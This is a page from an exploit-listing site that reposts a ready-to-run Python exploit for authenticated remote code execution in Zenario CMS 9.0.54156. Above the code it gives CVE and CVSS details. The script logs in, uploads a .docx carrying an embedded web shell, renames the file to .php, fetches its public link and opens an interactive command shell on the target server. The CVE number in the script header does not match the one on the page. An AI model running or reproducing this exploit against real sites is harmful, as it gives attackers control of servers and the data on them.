Zenario CMS 9.0.54156 Remote Code Execution
CVE
Category
Price
Severity
CVE-2021-44162
CWE-94
$10,000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2022-04-07
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040027 Below is a copy:
Zenario CMS 9.0.54156 Remote Code Execution # Exploit Title: Zenario CMS 9.0.54156 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/02/2022
# Exploit Author: minhnq22
# Vendor Homepage: https://zenar.io/
# Software Link: https://zenar.io/download-page
# Version: 9.0.54156
# Tested on: Ubuntu 21.04
# CVE : CVE-202142171
# Python3
import os
import sys
import json
import uuid
import base64
import requests
# Input
if len(sys.argv) != 4:
print("Usage: " + sys.argv[0] + " 'http(s)://TARGET/zenario' 'USERNAME' 'PASSWORD'")
exit(1)
TARGET = sys.argv[1]
USERNAME = sys.argv[2]
PASSWORD = sys.argv[3]
## Attempt to log in
### Get cookie
resp = requests.get(TARGET + "/zenario/admin/welcome.ajax.php?task=&get=%5B%5D")
### Grab the PHP session ID
PHPSESSID = resp.headers['Set-Cookie'].split(";")[0]
### Authen with cookie
resp = requests.post(TARGET + "/zenario/admin/welcome.ajax.php?task=&get=%5B%5D",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID},
data={"_validate": "true", "_box": '{"tab":"login","tabs":{"login":{"edit_mode":{"on":1},"fields":{"reset":{"_was_hidden_before":true},"description":{},"username":{"current_value":"' + USERNAME + '"},"password":{"current_value":"' + PASSWORD + '"},"admin_login_captcha":{"_was_hidden_before":true,"current_value":""},"remember_me":{"current_value":false},"login":{"pressed":true},"forgot":{"pressed":false},"previous":{"pressed":false}}},"forgot":{"edit_mode":{"on":1},"fields":{"description":{},"email":{"current_value":""},"previous":{},"reset":{}}}},"path":"login"}'})
# If login OK
print("Login OK!")
## Upload web shell
### Get sync info
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_upload",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_fill": "true", "_values": ""})
resp_body = json.loads(resp.text)
password_sync = resp_body["_sync"]["password"]
iv_sync = resp_body["_sync"]["iv"]
cache_dir_sync = resp_body["_sync"]["cache_dir"]
### Create blank docx file
file_content = b"UEsDBBQABgAIAAAAIQDfpNJsWgEAACAFAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0\nlMtuwjAQRfeV+g+Rt1Vi6KKqKgKLPpYtUukHGHsCVv2Sx7z+vhMCUVUBkQpsIiUz994zVsaD0dqa\nbAkRtXcl6xc9loGTXmk3K9nX5C1/ZBkm4ZQw3kHJNoBsNLy9GUw2ATAjtcOSzVMKT5yjnIMVWPgA\njiqVj1Ykeo0zHoT8FjPg973eA5feJXApT7UHGw5eoBILk7LXNX1uSCIYZNlz01hnlUyEYLQUiep8\n6dSflHyXUJBy24NzHfCOGhg/mFBXjgfsdB90NFEryMYipndhqYuvfFRcebmwpCxO2xzg9FWlJbT6\n2i1ELwGRztyaoq1Yod2e/ygHpo0BvDxF49sdDymR4BoAO+dOhBVMP69G8cu8E6Si3ImYGrg8Rmvd\nCZFoA6F59s/m2NqciqTOcfQBaaPjP8ber2ytzmngADHp039dm0jWZ88H9W2gQB3I5tv7bfgDAAD/\n/wMAUEsDBBQABgAIAAAAIQAekRq37wAAAE4CAAALAAgCX3JlbHMvLnJlbHMgogQCKKAAAgAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArJLBasMw\nDEDvg/2D0b1R2sEYo04vY9DbGNkHCFtJTBPb2GrX/v082NgCXelhR8vS05PQenOcRnXglF3wGpZV\nDYq9Cdb5XsNb+7x4AJWFvKUxeNZw4gyb5vZm/cojSSnKg4tZFYrPGgaR+IiYzcAT5SpE9uWnC2ki\nKc/UYySzo55xVdf3mH4zoJkx1dZqSFt7B6o9Rb6GHbrOGX4KZj+xlzMtkI/C3rJdxFTqk7gyjWop\n9SwabDAvJZyRYqwKGvC80ep6o7+nxYmFLAmhCYkv+3xmXBJa/ueK5hk/Nu8hWbRf4W8bnF1B8wEA\nAP//AwBQSwMEFAAGAAgAAAAhAJdANEq+AgAAvQoAABEAAAB3b3JkL2RvY3VtZW50LnhtbKSW227b\nMAxA3wfsHwK/t7KdxEmNpkW7dkMfBhTr9gGKLNtCrQsk5bavH+X75q5w3BdbIs0jiiJpXd8eeTHb\nU22YFBsvuPS9GRVEJkxkG+/Xz68Xa29mLBYJLqSgG+9EjXd78/nT9SFOJNlxKuwMEMLEB0U2Xm6t\nihEyJKccm0vOiJZGpvaSSI5kmjJC0UHqBIV+4JcjpSWhxsB6X7DYY+PVOHIcR0s0PoCxAy4QybG2\n9NgxgrMhS3SF1kNQOAEEOwyDIWp+NipCzqsBaDEJBF4NSMtppDc2F00jhUPSahppPiStp5EG6cSH\nCS4VFaBMpebYwlRniGP9ulMXAFbYsi0rmD0B048aDGbidYJHYNUS+Dw5m7BCXCa0mCcNRW68nRZx\nbX/R2jvX48q+fjUWesz+K5OHujmUO0eaFhALKUzOVFvhfCoNlHkD2b+3iT0vmu8OKhhZLv9rTw9V\nKDvgGPfr+POi8vx9YuCPOBGHaC3GuPD3mo0nHLKwW3hSaHrBDUY2kAYQDgARoSMbfsNY1wxEugp1\nHDayNBpOdSqOw7rABiP72L/O9AAmsUl+FiVs4oqcLbY4x6ZNdEek5zm1bHEn3ouRyj5WCN+03KmO\nxj5Ge+ra2sFdMM5g1QXVL3LzMWdecqyg23ESP2VCarwtwCMojxlk+Kw8AfeERHGvckiPpdyd9cz1\nGO8GbkZbmZzcW4FuESus8RMkZeCHq6sguvdKKfxXrJPOo1V0N78PQRrDLSz5sfF8/zFaRHePreiB\npnhX2J4GObyhxD7rN+zKtbOX36CCFhGE4cJ3LMjGYLmGcWmtsu/YGVsJnSxYVJ9oluW2m26ltZJ3\n84KmPW1OcULhn7AKy2kqpe1Ns50tp/VyRBYGpEZhQqtvSjFcIr9pF8+4YII+M0tyF5NSi5otlsMq\nqKi7d978AQAA//8DAFBLAwQUAAYACAAAACEA1mSzUfQAAAAxAwAAHAAIAXdvcmQvX3JlbHMvZG9j\ndW1lbnQueG1sLnJlbHMgogQBKKAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACskstqwzAQ\nRfeF/oOYfS07fVBC5GxKIdvW/QBFHj+oLAnN9OG/r0hJ69BguvByrphzz4A228/BineM1HunoMhy\nEOiMr3vXKnipHq/uQRBrV2vrHSoYkWBbXl5sntBqTkvU9YFEojhS0DGHtZRkOhw0ZT6gSy+Nj4Pm\nNMZWBm1edYtyled3Mk4ZUJ4wxa5WEHf1NYhqDPgftm+a3uCDN28DOj5TIT9w/4zM6ThKWB1bZAWT\nMEtEkOdFVkuK0B+LYzKnUC
file_name = uuid.uuid4().hex
file = open(file_name + ".docx", "wb")
file.write(base64.decodebytes(file_content))
file.close()
### Upload docx file
resp = requests.post(TARGET + "/zenario/ajax.php?method_call=handleAdminBoxAJAX&path=zenario_document_upload",
headers={"Cookie":PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id":"", "fileUpload": 1, },
files={"Filedata": open(file_name + ".docx", "rb")})
### Get sync id file
resp_body = json.loads(resp.text)
id_sync = resp_body["id"]
# Update database
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_upload",
headers={"X-Requested-With": "XMLHttpRequest", "Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_save": "true", "_confirm": "", "_box": '{"tabs":{"upload_document":{"edit_mode":{"on":1},"fields":{"document__upload":{"current_value":"' + id_sync + '"},"privacy":{"_display_value":false,"current_value":"public"}}}},"_sync":{"cache_dir":"' + cache_dir_sync + '","password":"' + password_sync + '","iv":"' + iv_sync + '","session":false},"tab":"upload_document"}'})
# If upload OK
print("Upload file OK!")
## Change file extension
### Search ID file in Database
resp = requests.get(TARGET + "/zenario/admin/organizer.ajax.php?path=zenario__content/panels/documents&_sort_col=ordinal&_search=" + file_name, headers={"Cookie": PHPSESSID})
resp_body = json.loads(resp.text)
file_id = resp_body["__item_sort_order__"]["0"]
### Get sync info
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_properties&id=" + str(file_id),
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_fill": "true", "_values": ""})
resp_body = json.loads(resp.text)
password_sync = resp_body["_sync"]["password"]
iv_sync = resp_body["_sync"]["iv"]
cache_dir_sync = resp_body["_sync"]["cache_dir"]
### Change to .php
resp = requests.post(TARGET + "/zenario/admin/admin_boxes.ajax.php?path=zenario_document_properties&id=" + str(file_id),
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"_save": "true", "_confirm": "", "_box": '{"tabs":{"details":{"edit_mode":{"on":1},"fields":{"document_extension":{"_was_hidden_before":true,"current_value":"php"},"document_title":{"current_value":""},"document_name":{"current_value":"' + file_name + '"},"checksum":{"_was_hidden_before":true,"current_value":"y8vuS"},"date_uploaded":{"current_value":"2021-09-2920173A213A31"},"privacy":{"_display_value":"Public","current_value":"public"},"tags":{"_display_value":false,"current_value":""},"link_to_add_tags":{}}},"upload_image":{"edit_mode":{"on":true},"fields":{"thumbnail_grouping":{},"title":{"current_value":""},"thumbnail_image":{},"delete_thumbnail_image":{},"zenario_common_feature__upload":{"current_value":""}}},"extract":{"edit_mode":{"on":0},"fields":{"extract":{"current_value":"No20plain-text20extract"},"extract_wordcount":{"current_value":0}}}},"_sync":{"cache_dir":"' + cache_dir_sync + '","password":"' + password_sync + '","iv":"' + iv_sync + '","session":false},"tab":"details"}'})
## Get public URL webshell
resp = requests.post(TARGET + "/zenario/ajax.php?__pluginClassName__=zenario_common_features&__path__=zenario__content/panels/documents&method_call=handleOrganizerPanelAJAX",
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id": file_id, "generate_public_link": 1})
response_body = resp.text
web_shell_url = response_body[response_body.find("http"): response_body.find(file_name) + 36]
# If web shell OK
print("Web shell is available!")
print("URL:", web_shell_url)
print("Enter command.")
## Execute command
cmd = ''
while cmd != "exit":
### Get command
cmd = input("> ")
### Get result
resp = requests.post(web_shell_url, data={"cmd": cmd})
response_body = resp.text
result = response_body[response_body.find("8d589afa4dfaeeed85fff5aa78e5ff6a") + 32: response_body.find("7f021a1415b86f2d013b2618fb31ae53")]
print(result)
pass
## Delete web shell
resp = requests.post(TARGET + "/zenario/ajax.php?__pluginClassName__=zenario_common_features&__path__=zenario__content/panels/documents&method_call=handleOrganizerPanelAJAX",
headers={"Cookie": PHPSESSID, "Referer": TARGET + "/zenario/admin/organizer.php?fromCID=1&fromCType=html"},
data={"id": file_id, "delete": 1})
print("Web shell is deleted!")
# Delete docx file
os.remove(file_name + ".docx")
print("Docx file is deleted!")
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